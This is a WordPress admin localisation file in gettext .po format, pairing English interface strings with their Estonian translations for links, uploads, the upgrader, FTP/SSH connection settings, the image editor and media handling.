msgid "Update Link"
msgstr "Uuenda viidet"

#: wp-admin/edit-link-form.php:19
msgid "<a href=\"%s\">Links</a> / Add New Link"
msgstr "<a href=\"%s\">Viited</a> / Lisa uus viide"

#: wp-admin/edit-link-form.php:30 wp-admin/includes/nav-menu.php:174
#: wp-admin/includes/nav-menu.php:1221
msgid "Link Relationship (XFN)"
msgstr "Viite suhted (XFN)"

#: wp-admin/edit-link-form.php:76
msgid "Link added."
msgstr "Viide lisatud."

#: wp-admin/edit-link-form.php:97
msgid "Example: Nifty blogging software"
msgstr "Näide: vinge ajaveebitarkvara"

#: wp-admin/edit-link-form.php:102
msgid "Web Address"
msgstr "Veebiaadress"

#: wp-admin/edit-link-form.php:105
msgid "Example: <code>http://wordpress.org/</code> &#8212; don&#8217;t forget the <code>http://</code>"
msgstr "Näide: <code>http://wordpress.org/</code> &#8212; ära unusta lisada <code>http://</code>-osa!"

#: wp-admin/edit-link-form.php:113
msgid "This will be shown when someone hovers over the link in the blogroll, or optionally below the link."
msgstr "Seda näidatakse, kui lugeja viib hiirekursori viite kohale või vahel ka viite all."

#: wp-admin/edit-tag-form.php:86 wp-admin/edit-tags.php:451
msgid "The name is how it appears on your site."
msgstr "Nimi sellisena, nagu seda veebilehel näidatakse."

#: wp-admin/edit-tag-form.php:110 wp-admin/edit-tags.php:497
msgid "Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have children categories for Bebop and Big Band. Totally optional."
msgstr "Erinevalt siltidest võivad rubriigid moodustada hierarhia. Näiteks võib olla rubriik Jazz, mille all on alamrubriigid Bebop ja Big Band. See on aga täiesti mittekohustuslik."

#: wp-admin/edit-tags.php:252
msgid "Item added."
msgstr "Lisatud."

#: wp-admin/edit-tags.php:253
msgid "Item deleted."
msgstr "Kustutatud."

#: wp-admin/edit-tags.php:254
msgid "Item updated."
msgstr "Uuendatud."

#: wp-admin/edit-tags.php:255
msgid "Item not added."
msgstr "Ei lisatud."

#: wp-admin/edit-tags.php:257
msgid "Items deleted."
msgstr "Kustutatud."

#: wp-admin/edit-tags.php:336
msgid "<strong>Note:</strong><br />Deleting a category does not delete the posts in that category. Instead, posts that were only assigned to the deleted category are set to the category <strong>%s</strong>."
msgstr "<strong>NB!</strong><br />Rubriigi kustutamine ei kustuta selles olevaid postitusi. üksnes sellesse rubriiki asetatud postitused lähevad rubriiki  <strong>%s</strong>."

#: wp-admin/edit.php:122 wp-admin/post.php:291
msgid "You are not allowed to delete this item."
msgstr "Sul ei ole õigust seda kustutada."

#: wp-admin/edit.php:243
msgid "%s post updated."
msgid_plural "%s posts updated."
msgstr[0] "%s postitus uuendatud."
msgstr[1] "%s postitust uuendatud."

#: wp-admin/includes/class-wp-posts-list-table.php:156
msgctxt "posts"
msgid "Mine <span class=\"count\">(%s)</span>"
msgid_plural "Mine <span class=\"count\">(%s)</span>"
msgstr[0] "Minu postitused <span class=\"count\">(%s)</span>"
msgstr[1] "Minu postitused <span class=\"count\">(%s)</span>"

#: wp-admin/includes/class-wp-posts-list-table.php:167
msgctxt "posts"
msgid "All <span class=\"count\">(%s)</span>"
msgid_plural "All <span class=\"count\">(%s)</span>"
msgstr[0] "Kõik <span class=\"count\">(%s)</span>"
msgstr[1] "Kõik <span class=\"count\">(%s)</span>"

#: wp-admin/includes/class-wp-links-list-table.php:75
#: wp-admin/includes/class-wp-posts-list-table.php:226
msgid "View all categories"
msgstr "Kõik rubriigid"

#: wp-admin/includes/class-wp-list-table.php:526
msgid "Excerpt View"
msgstr "Katkendivaade"

#: wp-admin/export.php:17 wp-admin/menu.php:215
msgid "Export"
msgstr "Ekspordi"

#: wp-admin/export.php:149
msgid "When you click the button below WordPress will create an XML file for you to save to your computer."
msgstr "Allolevale nupule klõpsates loob WordPress XML-faili, mida saab enda arvutisse salvestada."

#: wp-admin/export.php:150
msgid "This format, which we call WordPress eXtended RSS or WXR, will contain your posts, pages, comments, custom fields, categories, and tags."
msgstr "See vorming, mida nimetatakse WordPressi Laiendatud RSSiks ehk WXR-iks, sisaldab sinu postitusi, kommentaare, lisavälju ja rubriike."

#: wp-admin/export.php:239
msgid "Download Export File"
msgstr "Lae ekspordifail alla"

#: wp-admin/import.php:75
msgid "No importers are available."
msgstr "Ühtki importijat ei leitud."

#: wp-admin/includes/media.php:1429 wp-admin/upgrade.php:68
#: wp-admin/upgrade.php:100
msgid "Continue"
msgstr "Jätka"

#: wp-admin/export.php:159 wp-admin/includes/class-wp-users-list-table.php:266
#: wp-admin/menu.php:49
msgid "Posts"
msgstr "Postitused"

#: wp-admin/includes/import.php:158
msgid "Blogger"
msgstr "Blogger"

#: wp-admin/includes/import.php:170
msgid "LiveJournal"
msgstr "LiveJournal"

#: wp-admin/includes/import.php:176
msgid "Movable Type and TypePad"
msgstr "Movable Type ja Typepad"

#: wp-admin/includes/import.php:182
msgid "Blogroll"
msgstr "Blogroll"

#: wp-admin/includes/bookmark.php:192
msgid "Could not update link in the database"
msgstr "Viite uuendamine andmebaasis ebaõnnestus"

#: wp-admin/includes/bookmark.php:200
msgid "Could not insert link into the database"
msgstr "Viite lisamine andmebaasi ebaõnnestus"

#: wp-admin/includes/class-wp-filesystem-base.php:323
msgid "Changing to %s"
msgstr "Muudan: %s"

#: wp-admin/includes/class-wp-filesystem-base.php:335
msgid "Found %s"
msgstr "Leiti %s"

#: wp-admin/includes/class-wp-filesystem-ftpext.php:28
msgid "The ftp PHP extension is not available"
msgstr "PHP FTP-laiendust ei leitud"

#: wp-admin/includes/class-wp-filesystem-ftpext.php:43
#: wp-admin/includes/class-wp-filesystem-ftpsockets.php:38
msgid "FTP hostname is required"
msgstr "FTP serverinimi on nõutav"

#: wp-admin/includes/class-wp-filesystem-ftpext.php:52
#: wp-admin/includes/class-wp-filesystem-ftpsockets.php:47
msgid "FTP username is required"
msgstr "FTP kasutajanimi on nõutav"

#: wp-admin/includes/class-wp-filesystem-ftpext.php:57
#: wp-admin/includes/class-wp-filesystem-ftpsockets.php:52
msgid "FTP password is required"
msgstr "FTP parool on nõutav"

#: wp-admin/includes/class-wp-filesystem-ftpext.php:73
#: wp-admin/includes/class-wp-filesystem-ftpsockets.php:64
#: wp-admin/includes/class-wp-filesystem-ftpsockets.php:69
msgid "Failed to connect to FTP Server %1$s:%2$s"
msgstr "FTP serveriga %1$s:%2$s  ei saadud ühendust"

#: wp-admin/includes/class-wp-filesystem-ftpext.php:78
#: wp-admin/includes/class-wp-filesystem-ftpsockets.php:74
#: wp-admin/includes/class-wp-filesystem-ssh2.php:111
msgid "Username/Password incorrect for %s"
msgstr "%s kasutajanimi/parool on vale"

#: wp-admin/includes/class-wp-filesystem-ssh2.php:50
msgid "The ssh2 PHP extension is not available"
msgstr "PHP SSH2-laiendus pole saadaval."

#: wp-admin/includes/class-wp-filesystem-ssh2.php:54
msgid "The ssh2 PHP extension is available, however, we require the PHP5 function <code>stream_get_contents()</code>"
msgstr "PHP ssh2-laiendus on olemas, kuid WordPress vajab PHP5 funktsiooni <code>stream_get_contents()</code>"

#: wp-admin/includes/class-wp-filesystem-ssh2.php:65
msgid "SSH2 hostname is required"
msgstr "SSH2 serverinimi on nõutav"

#: wp-admin/includes/class-wp-filesystem-ssh2.php:81
msgid "SSH2 username is required"
msgstr "SSH2 kasutajanimi on nõutav"

#: wp-admin/includes/class-wp-filesystem-ssh2.php:90
msgid "SSH2 password is required"
msgstr "SSH2 parool on nõutav"

#: wp-admin/includes/class-wp-filesystem-ssh2.php:105
msgid "Failed to connect to SSH2 Server %1$s:%2$s"
msgstr "SSH2 serveriga %1$s:%2$s  ei saadud ühendust"

#: wp-admin/includes/class-wp-filesystem-ssh2.php:116
msgid "Public and Private keys incorrect for %s"
msgstr "%s avalik ja privaatvõti ei klapi."

#: wp-admin/includes/class-wp-filesystem-ssh2.php:132
msgid "Unable to perform command: %s"
msgstr "Käsu %s andmine ebaõnnestus"

#: wp-admin/includes/class-wp-upgrader.php:41
msgid "Invalid Data provided."
msgstr "Vigased andmed."

#: wp-admin/includes/class-wp-upgrader.php:42
#: wp-admin/includes/class-wp-upgrader.php:2084 wp-admin/includes/file.php:520
#: wp-admin/includes/plugin.php:795 wp-admin/includes/theme.php:53
msgid "Could not access filesystem."
msgstr "Failisüsteemile ei pääse ligi."

#: wp-admin/includes/class-wp-upgrader.php:43 wp-admin/includes/plugin.php:798
#: wp-admin/includes/theme.php:56
msgid "Filesystem error."
msgstr "Failisüsteemi viga."

#: wp-admin/includes/class-wp-upgrader.php:44
msgid "Unable to locate WordPress Root directory."
msgstr "Ei leia WordPressi kataloogi."

#: wp-admin/includes/class-wp-upgrader.php:45
msgid "Unable to locate WordPress Content directory (wp-content)."
msgstr "Ei leia WordPressi sisukataloogi (wp-content)"

#: wp-admin/includes/class-wp-upgrader.php:46 wp-admin/includes/plugin.php:803
msgid "Unable to locate WordPress Plugin directory."
msgstr "Ei leia WordPressi pluginate kataloogi."

#: wp-admin/includes/class-wp-upgrader.php:47
msgid "Unable to locate WordPress Theme directory."
msgstr "Ei leia WordPressi teemade kataloogi."

#. translators: %s: directory name
#: wp-admin/includes/class-wp-upgrader.php:49
msgid "Unable to locate needed folder (%s)."
msgstr "Ei leia kataloogi %s."

#: wp-admin/includes/class-wp-upgrader.php:51
msgid "Download failed."
msgstr "Allalaadimine ebaõnnestus."

#: wp-admin/includes/class-wp-upgrader.php:52
msgid "Installing the latest version&#8230;"
msgstr "Uusima versiooni paigaldamine"

#: wp-admin/includes/class-wp-upgrader.php:54
msgid "Destination folder already exists."
msgstr "Kaust on juba olemas"

#: wp-admin/includes/class-wp-upgrader.php:55 wp-admin/includes/file.php:636
#: wp-admin/includes/file.php:739 wp-admin/includes/file.php:790
#: wp-admin/includes/update-core.php:1089
msgid "Could not create directory."
msgstr "Kataloogi loomine ei õnnestu"

#: wp-admin/includes/file.php:587 wp-admin/includes/file.php:691
msgid "Incompatible Archive."
msgstr "Sobimatu arhiiv."

#: wp-admin/includes/class-wp-upgrader.php:58
#: wp-admin/includes/update-core.php:861
msgid "Enabling Maintenance mode&#8230;"
msgstr "Lülitan haldusrežiimi sisse."

#: wp-admin/includes/class-wp-upgrader.php:59
#: wp-admin/includes/update-core.php:944
msgid "Disabling Maintenance mode&#8230;"
msgstr "Lülitan haldusrežiimi välja."

#: wp-admin/includes/class-wp-upgrader.php:480
msgid "The plugin is at the latest version."
msgstr "Plugina versioon on värske."

#: wp-admin/includes/class-wp-upgrader.php:482
#: wp-admin/includes/class-wp-upgrader.php:806
#: wp-admin/includes/class-wp-upgrader.php:1438
msgid "Downloading update from <span class=\"code\">%s</span>&#8230;"
msgstr "Laen uuendusi: <span class=\"code\">%s</span>."

#: wp-admin/includes/class-wp-upgrader.php:483
#: wp-admin/includes/class-wp-upgrader.php:807
#: wp-admin/includes/class-wp-upgrader.php:1251
#: wp-admin/includes/class-wp-upgrader.php:1439
msgid "Unpacking the update&#8230;"
msgstr "Uuenduse lahtipakkimine"

#: wp-admin/includes/class-wp-upgrader.php:484
msgid "Removing the old version of the plugin&#8230;"
msgstr "Plugina vana versiooni eemaldamine"

#: wp-admin/includes/class-wp-upgrader.php:485
msgid "Could not remove the old plugin."
msgstr "Plugina vana versiooni ei õnnestu eemaldada"

#: wp-admin/includes/class-wp-upgrader.php:491
#: wp-admin/includes/class-wp-upgrader.php:815
msgid "Install package not available."
msgstr "Paigalduspakett pole saadaval."

#: wp-admin/includes/class-wp-upgrader.php:492
#: wp-admin/includes/class-wp-upgrader.php:816
msgid "Downloading install package from <span class=\"code\">%s</span>&#8230;"
msgstr "Laen paigalduspakki: <span class=\"code\">%s</span>."

#: wp-admin/includes/class-wp-upgrader.php:493
#: wp-admin/includes/class-wp-upgrader.php:817
msgid "Unpacking the package&#8230;"
msgstr "Pakin lahti"

#: wp-admin/includes/class-wp-upgrader.php:494
msgid "Installing the plugin&#8230;"
msgstr "Paigaldan pluginat"

#: wp-admin/includes/class-wp-upgrader.php:496
msgid "Plugin install failed."
msgstr "Plugina paigaldamine ebaõnnestus"

#: wp-admin/includes/class-wp-upgrader.php:497
msgid "Plugin installed successfully."
msgstr "Plugin edukalt paigaldatud"

#: wp-admin/includes/class-wp-upgrader.php:804
msgid "The theme is at the latest version."
msgstr "Teema versioon on värske."

#: wp-admin/includes/class-wp-upgrader.php:808
msgid "Removing the old version of the theme&#8230;"
msgstr "Teema vana versiooni eemaldamine"

#: wp-admin/includes/class-wp-upgrader.php:809
msgid "Could not remove the old theme."
msgstr "Vana teemat ei õnnestu eemaldada"

#: wp-admin/includes/class-wp-upgrader.php:818
msgid "Installing the theme&#8230;"
msgstr "Teema paigaldamine"

#: wp-admin/includes/class-wp-upgrader.php:820
msgid "Theme install failed."
msgstr "Teema paigaldamine ebaõnnestus"

#: wp-admin/includes/class-wp-upgrader.php:821
msgid "Theme installed successfully."
msgstr "Teema paigaldamine õnnestus"

#: wp-admin/includes/class-wp-upgrader.php:1436
msgid "WordPress is at the latest version."
msgstr "WordPressi versioon on värske."

#: wp-admin/includes/class-wp-upgrader.php:1440
msgid "Could not copy files."
msgstr "Faile ei õnnestu kopeerida"

#: wp-admin/includes/class-wp-plugins-list-table.php:410
#: wp-admin/includes/class-wp-upgrader-skins.php:165
#: wp-admin/includes/class-wp-upgrader-skins.php:428
#: wp-admin/includes/class-wp-upgrader-skins.php:430
msgid "Activate this plugin"
msgstr "Lülita see plugin sisse"

#: wp-admin/includes/class-wp-upgrader-skins.php:165
#: wp-admin/includes/class-wp-upgrader-skins.php:430
msgid "Activate Plugin"
msgstr "Lülita see plugin sisse"

#: wp-admin/includes/class-wp-upgrader-skins.php:166
#: wp-admin/includes/class-wp-upgrader-skins.php:327
#: wp-admin/includes/class-wp-upgrader-skins.php:442
msgid "Return to Plugins page"
msgstr "Mine tagasi pluginate lehele"

#: wp-admin/includes/class-wp-upgrader-skins.php:416
msgid "Successfully installed the plugin <strong>%s %s</strong>."
msgstr "Plugina <strong>%s %s</strong> paigaldus õnnestus."

#: wp-admin/includes/class-wp-upgrader-skins.php:440
msgid "Return to Plugin Installer"
msgstr "Mine tagasi plugina paigalduse juurde"

#. translators: 1: theme name, 2: version
#: wp-admin/includes/class-wp-upgrader.php:823
msgid "Successfully installed the theme <strong>%1$s %2$s</strong>."
msgstr "Teema <strong>%1$s %2$s</strong> paigaldus õnnestus."

#: wp-admin/includes/class-wp-posts-list-table.php:677
#: wp-admin/includes/class-wp-theme-install-list-table.php:219
#: wp-admin/includes/class-wp-themes-list-table.php:160
#: wp-admin/includes/class-wp-upgrader-skins.php:520
#: wp-admin/includes/class-wp-upgrader-skins.php:522
#: wp-admin/includes/class-wp-upgrader-skins.php:599
#: wp-admin/includes/class-wp-upgrader-skins.php:601
msgid "Preview &#8220;%s&#8221;"
msgstr "Eelvaatle &#8220;%s&#8221;"

#: wp-admin/includes/class-wp-themes-list-table.php:157
#: wp-admin/includes/class-wp-upgrader-skins.php:524
#: wp-admin/includes/class-wp-upgrader-skins.php:603
msgid "Activate &#8220;%s&#8221;"
msgstr "Lülita &#8220;%s&#8221; sisse"

#: wp-admin/includes/class-wp-upgrader-skins.php:530
msgid "Return to Theme Installer"
msgstr "Tagasi teemapaigaldajasse"

#: wp-admin/includes/class-wp-upgrader-skins.php:532
msgid "Themes page"
msgstr "Teemaleht"

#: wp-admin/includes/class-wp-upgrader-skins.php:372
#: wp-admin/includes/class-wp-upgrader-skins.php:532
#: wp-admin/includes/class-wp-upgrader-skins.php:610
msgid "Return to Themes page"
msgstr "Mine tagasi teemade lehele"

#: wp-admin/includes/class-wp-upgrader.php:1727
#: wp-admin/includes/class-wp-upgrader.php:1761
msgid "Please select a file"
msgstr "Palun vali fail"

#: wp-admin/includes/file.php:345
msgid "The uploaded file could not be moved to %s."
msgstr "Üleslaetud faili ei õnnestunud asukohta %s  tõsta."

#: wp-admin/includes/dashboard.php:38
msgid "Right Now"
msgstr "Kohe"

#: wp-admin/includes/dashboard.php:970
msgid "http://planet.wordpress.org/"
msgstr "http://planet.wordpress.org/"

#: wp-admin/includes/dashboard.php:979
msgid "http://planet.wordpress.org/feed/"
msgstr "http://planet.wordpress.org/feed/"

#: wp-admin/includes/dashboard.php:988
msgid "Other WordPress News"
msgstr "Teised WordPressi uudised"

#: wp-admin/includes/dashboard.php:108
msgid "View all"
msgstr "Vaata kõiki"

#: wp-admin/includes/dashboard.php:140
msgid "Configure"
msgstr "Häälesta"

#: wp-admin/options-writing.php:27 wp-admin/options-writing.php:116
#: wp-admin/options-writing.php:120 wp-admin/press-this.php:300
#: wp-admin/press-this.php:495 wp-admin/tools.php:16 wp-admin/tools.php:40
#: wp-admin/tools.php:45
msgid "Press This"
msgstr "Press This"

#: wp-admin/includes/meta-boxes.php:257 wp-admin/includes/meta-boxes.php:258
#: wp-admin/press-this.php:504
msgid "Submit for Review"
msgstr "Esita läbivaatamiseks"

#: wp-admin/includes/class-wp-comments-list-table.php:452
#: wp-admin/includes/class-wp-comments-list-table.php:454
#: wp-admin/includes/dashboard.php:552
msgid "Approve this comment"
msgstr "Kiida see kommentaar heaks"

#: wp-admin/includes/class-wp-comments-list-table.php:450
#: wp-admin/includes/class-wp-comments-list-table.php:455
#: wp-admin/includes/dashboard.php:553
msgid "Unapprove this comment"
msgstr "Tühista kommentaari heakskiit"

#: wp-admin/includes/class-wp-comments-list-table.php:481
#: wp-admin/includes/dashboard.php:555
msgid "Reply to this comment"
msgstr "Vasta sellele kommentaarile"

#: wp-admin/includes/class-wp-comments-list-table.php:459
#: wp-admin/includes/dashboard.php:556
msgid "Mark this comment as spam"
msgstr "Märgi see kommentaar spämmiks"

#. translators: mark as spam link
#: wp-admin/includes/class-wp-comments-list-table.php:459
#: wp-admin/includes/dashboard.php:556
msgctxt "verb"
msgid "Spam"
msgstr "Spämm"

#: wp-admin/includes/class-wp-comments-list-table.php:471
#: wp-admin/includes/dashboard.php:560
msgid "Move this comment to the trash"
msgstr "Saada see kommentaar prügikasti"

#: wp-admin/includes/class-wp-comments-list-table.php:471
#: wp-admin/includes/dashboard.php:560
msgctxt "verb"
msgid "Trash"
msgstr "Prügikasti"

#. translators: 1: comment author, 2: post link, 3: notification if the comment
#. is pending
#: wp-admin/includes/dashboard.php:598
msgid "From %1$s on %2$s%3$s"
msgstr "%1$s kommenteeris postitust %2$s%3$s"

#: wp-admin/includes/dashboard.php:599
msgid "[Pending]"
msgstr "[Ootel]"

#. translators: %1$s is type of comment, %2$s is link to the post
#: wp-admin/includes/dashboard.php:618
msgctxt "dashboard"
msgid "%1$s on %2$s"
msgstr "%1$s, %2$s"

#: wp-admin/includes/dashboard.php:824
msgid "Loading&#8230;"
msgstr "Laen &#8230;"

#: wp-admin/includes/dashboard.php:824
msgid "This widget requires JavaScript."
msgstr "See toiming vajab JavaScriptii toetust."

#: wp-admin/includes/file.php:13
msgid "Main Index Template"
msgstr "Esilehe mall"

#: wp-admin/includes/file.php:17
msgid "RTL Stylesheet"
msgstr "RTL stiilileht"

#: wp-admin/includes/file.php:19
msgid "Popup Comments"
msgstr "Kommentaaride hüpikaken"

#: wp-admin/includes/file.php:20
msgid "Footer"
msgstr "Jalus"

#: wp-admin/includes/file.php:26
msgid "Category Template"
msgstr "Rubriigimall"

#: wp-admin/includes/file.php:27 wp-admin/includes/meta-boxes.php:746
msgid "Page Template"
msgstr "Lehemall"

#: wp-admin/includes/class-wp-plugin-install-list-table.php:64
#: wp-admin/includes/class-wp-theme-install-list-table.php:42
#: wp-admin/includes/file.php:28
msgid "Search Results"
msgstr "Otsitulemused"

#: wp-admin/includes/file.php:29
msgid "Search Form"
msgstr "Otsing"

#: wp-admin/includes/file.php:30
msgid "Single Post"
msgstr "Üksikpostitus"

#: wp-admin/includes/file.php:31
msgid "404 Template"
msgstr "404 mall"

#: wp-admin/includes/file.php:32
msgid "Links Template"
msgstr "Viitemall"

#: wp-admin/includes/file.php:33
msgid "Theme Functions"
msgstr "Teemafunktsioonid"

#: wp-admin/includes/file.php:34
msgid "Attachment Template"
msgstr "Manusemall"

#: wp-admin/includes/file.php:35
msgid "Image Attachment Template"
msgstr "Pildimanuse mall"

#: wp-admin/includes/file.php:36
msgid "Video Attachment Template"
msgstr "Videomanuse mall"

#: wp-admin/includes/file.php:37
msgid "Audio Attachment Template"
msgstr "Audiomanuse mall"

#: wp-admin/includes/file.php:38
msgid "Application Attachment Template"
msgstr "Rakendusemanuse mall"

#: wp-admin/includes/file.php:39
msgid "my-hacks.php (legacy hacks support)"
msgstr "my-hacks.php (vanade häkkide toetus)"

#: wp-admin/includes/file.php:40
msgid ".htaccess (for rewrite rules )"
msgstr ".htaccess (ligipääsu reguleerimiseks)"

#: wp-admin/includes/file.php:43
msgid "Comments Template"
msgstr "Kommentaarimall"

#: wp-admin/includes/file.php:44
msgid "Popup Comments Template"
msgstr "Kommentaaride hüpikakna mall"

#: wp-admin/includes/file.php:255
msgid "The uploaded file was only partially uploaded."
msgstr "Faili ei laetud täielikult üles."

#: wp-admin/includes/file.php:256
msgid "No file was uploaded."
msgstr "Ühtki faili ei laetud üles."

#: wp-admin/includes/file.php:258
msgid "Missing a temporary folder."
msgstr "Ajutine kaust puudub."

#: wp-admin/includes/file.php:259
msgid "Failed to write file to disk."
msgstr "Faili kettale kirjutamine ebaõnnestus."

#: wp-admin/includes/file.php:260
msgid "File upload stopped by extension."
msgstr "Faili üleslaadimine peatati."

#: wp-admin/includes/file.php:276
msgid "Invalid form submission."
msgstr "Vormi saatmisel tekkis viga."

#: wp-admin/includes/file.php:289 wp-admin/includes/import.php:80
msgid "File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini."
msgstr "Fail on tühi, palun postita midagi sisukamat. Selle vea põhjuseks võib olla ka üleslaadimise keelamine failis php.ini või on seal post_max_size -väärtus väiksem kui upload_max_filesize."

#: wp-admin/includes/file.php:297
msgid "Specified file failed upload test."
msgstr "Määratud fail ei läbinud üleslaadimistesti."

#: wp-admin/includes/file.php:448
msgid "Invalid URL Provided."
msgstr "Vigane veebiviide."

#: wp-admin/includes/file.php:452
msgid "Could not create Temporary file."
msgstr "Ajutist faili ei õnnestu luua."

#: wp-admin/includes/file.php:593 wp-admin/includes/file.php:642
msgid "Could not retrieve file from archive."
msgstr "Faili ei saa arhiivist kätte."

#: wp-admin/includes/file.php:652
msgid "Could not extract file from archive."
msgstr "Faili ei saa arhiivist lahti pakkida."

#: wp-admin/includes/file.php:655 wp-admin/includes/file.php:752
#: wp-admin/includes/file.php:785 wp-admin/includes/update-core.php:981
#: wp-admin/includes/update-core.php:1084
msgid "Could not copy file."
msgstr "Faile ei õnnestu kopeerida."

#: wp-admin/includes/file.php:694
msgid "Empty archive."
msgstr "Tühi arhiiv."

#: wp-admin/includes/file.php:1036
msgid "FTP"
msgstr "FTP"

#: wp-admin/includes/file.php:1038
msgid "FTPS (SSL)"
msgstr "FTPS (SSL)"

#: wp-admin/includes/file.php:1040
msgid "SSH2"
msgstr "SSH2"

#: wp-admin/includes/file.php:1072
msgid "Connection Information"
msgstr "Ühenduse info"

#: wp-admin/includes/file.php:1094
msgid "Hostname"
msgstr "Server"

#: wp-admin/includes/file.php:1111
msgid "Authentication Keys"
msgstr "Autentimisvõtmed"

#: wp-admin/includes/file.php:1113
msgid "Public Key:"
msgstr "Avalik võti:"

#: wp-admin/includes/file.php:1114
msgid "Private Key:"
msgstr "Privaatvõti:"

#: wp-admin/includes/file.php:1118
msgid "Enter the location on the server where the keys are located. If a passphrase is needed, enter that in the password field above."
msgstr "Sisesta võtmeserveri asukoht. Kui see nõuab parooli, sisesta see vastavasse välja."

#: wp-admin/includes/file.php:1123 wp-admin/includes/file.php:1125
msgid "Connection Type"
msgstr "Ühenduse tüüp"

#: wp-admin/includes/file.php:1144
msgid "Proceed"
msgstr "Jätka"

#: wp-admin/includes/image-edit.php:19 wp-admin/includes/image-edit.php:690
msgid "Image data does not exist. Please re-upload the image."
msgstr "Pildiinfot ei leitud. Palun lae pilt uuesti üles."

#: wp-admin/includes/image-edit.php:151
msgid "Crop"
msgstr "Kärbi"

#: wp-admin/includes/image-edit.php:155
msgid "Rotate counter-clockwise"
msgstr "Pööra vastupäeva"

#: wp-admin/includes/image-edit.php:156
msgid "Rotate clockwise"
msgstr "Pööra päripäeva"

#: wp-admin/includes/image-edit.php:164
msgid "Flip vertically"
msgstr "Peegelda vertikaalselt"

#: wp-admin/includes/image-edit.php:165
msgid "Flip horizontally"
msgstr "Peegelda horisontaalselt"

#: wp-admin/includes/image-edit.php:42
msgid "Scale Image"
msgstr "Suurenda/vähenda"

#: wp-admin/includes/image-edit.php:47
msgid "Original dimensions %s"
msgstr "Algmõõtmed %s"

#: wp-admin/custom-background.php:292 wp-admin/custom-background.php:296
#: wp-admin/includes/image-edit.php:61
msgid "Restore Original Image"
msgstr "Taasta algne pilt"

#: wp-admin/includes/image-edit.php:63
msgid "Discard any changes and restore the original image."
msgstr "Loobu muudatustest ja taasta algne pilt."

#: wp-admin/includes/image-edit.php:66
msgid "Previously edited copies of the image will not be deleted."
msgstr "Pildi eelnevalt muudetud koopiaid ei kustutata."

#: wp-admin/includes/image-edit.php:70
msgid "Restore image"
msgstr "Taasta pilt"

#: wp-admin/includes/image-edit.php:80
msgid "Image Crop"
msgstr "Pildi kärpimine"

#: wp-admin/includes/image-edit.php:85
msgid "Crop Aspect Ratio"
msgstr "Väljalõike proportsiooonid"

#: wp-admin/includes/image-edit.php:88
msgid "Crop Selection"
msgstr "Kärpevalik"

#: wp-admin/includes/image-edit.php:94
msgid "Aspect ratio:"
msgstr "Proportsioon:"

#: wp-admin/includes/image-edit.php:103
msgid "Selection:"
msgstr "Valik:"

#: wp-admin/includes/image-edit.php:118
msgid "Thumbnail Settings"
msgstr "Pisipildiseaded"

#: wp-admin/includes/image-edit.php:124
msgid "Current thumbnail"
msgstr "Pisipilt"

#: wp-admin/includes/image-edit.php:128
msgid "Apply changes to:"
msgstr "Rakenda muudatused:"

#: wp-admin/includes/image-edit.php:132
msgid "All image sizes"
msgstr "Kõik pildisuurused"

#: wp-admin/includes/image-edit.php:140
msgid "All sizes except thumbnail"
msgstr "Kõigile pildi versioonidele peale pisipildi"

#: wp-admin/includes/image-edit.php:565
msgid "Cannot load image metadata."
msgstr "Pildi metaandmete laadimine ebaõnnestus."

#: wp-admin/includes/image-edit.php:623
msgid "Cannot save image metadata."
msgstr "Pildi metaandmete salvestamine ebaõnnestus."

#: wp-admin/includes/image-edit.php:628
msgid "Image metadata is inconsistent."
msgstr "Pildi metaandmed on mittetäielikud."

#: wp-admin/includes/image-edit.php:630
msgid "Image restored successfully."
msgstr "Pilt edukalt taastatud."

#: wp-admin/includes/image-edit.php:651
msgid "Unable to create new image."
msgstr "Pildi loomine ebaõnnestus."

#: wp-admin/includes/image-edit.php:674
msgid "Error while saving the scaled image. Please reload the page and try again."
msgstr "Muudetud pildi salvestamisel tekkis viga. Palun lae leht uuesti ja proovi veel kord."

#: wp-admin/includes/image-edit.php:682
msgid "Nothing to save, the image has not changed."
msgstr "Pilti pole muudetud, midagi pole salvestada."

#: wp-admin/includes/image-edit.php:725
msgid "Unable to save the image."
msgstr "Pilti ei õnnestu salvestada."

#: wp-admin/includes/image-edit.php:826
msgid "Image saved"
msgstr "Pilt salvestati."

#: wp-admin/includes/media.php:18
msgid "From Computer"
msgstr "Arvutist"

#: wp-admin/includes/media.php:19
msgid "From URL"
msgstr "Aadressilt"

#: wp-admin/includes/media.php:20
msgid "Gallery"
msgstr "Galerii"

#: wp-admin/includes/media.php:60
msgid "Gallery (%s)"
msgstr "Galerii (%s)"

#: wp-admin/includes/media.php:424
msgid "Uploads"
msgstr "Üleslaetud asjad"

#: wp-admin/includes/media.php:424 wp-admin/includes/template.php:1530
#: wp-admin/install.php:76 wp-admin/maint/repair.php:25
#: wp-admin/setup-config.php:86 wp-admin/upgrade.php:62
msgid "WordPress"
msgstr "WordPress"

#: wp-admin/includes/media.php:1016 wp-admin/includes/media.php:1169
msgid "File URL"
msgstr "Faili aadress"

#: wp-admin/includes/media.php:1214 wp-admin/includes/media.php:2476
msgid "Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;"
msgstr "Pildi alternatiivtekst, näiteks  &#8220;Mona Lisa&#8221;"

#: wp-admin/includes/media.php:1087
msgid "Empty Title filled from filename."
msgstr "Tühi pealkiri asendati failinimega."

#: wp-admin/includes/class-wp-posts-list-table.php:1085
#: wp-admin/includes/media.php:1165 wp-admin/includes/media.php:2139
#: wp-admin/includes/meta-boxes.php:752 wp-admin/includes/meta-boxes.php:753
msgid "Order"
msgstr "Järjestus"

#: wp-admin/includes/media.php:1173
msgid "Location of the uploaded file."
msgstr "Üleslaetud faili asukoht."

#: wp-admin/includes/media.php:1320 wp-admin/includes/media.php:2125
msgid "Show"
msgstr "Näita"

#: wp-admin/includes/media.php:1321 wp-admin/includes/media.php:2126
msgid "Hide"
msgstr "Peida"

#: wp-admin/includes/media.php:1399
msgid "Upload date:"
msgstr "Üleslaadimisaeg:"

#: wp-admin/includes/media.php:1419 wp-admin/includes/media.php:2506
#: wp-admin/includes/media.php:2512
msgid "Insert into Post"
msgstr "Lisa postitusse"

#: wp-admin/includes/media.php:1428
msgid "You are about to delete <strong>%s</strong>."
msgstr "Kustutamisele läheb <strong>%s</strong>."

#: wp-admin/includes/media.php:1910
msgid "Add media files from your computer"
msgstr "Lisa meediafaile enda arvutist"

#: wp-admin/includes/media.php:1939 wp-admin/includes/media.php:2149
#: wp-admin/includes/media.php:2409
msgid "Save all changes"
msgstr "Salvesta kõik muudatused"

#: wp-admin/includes/media.php:2124
msgid "All Tabs:"
msgstr "Kõik sakid:"

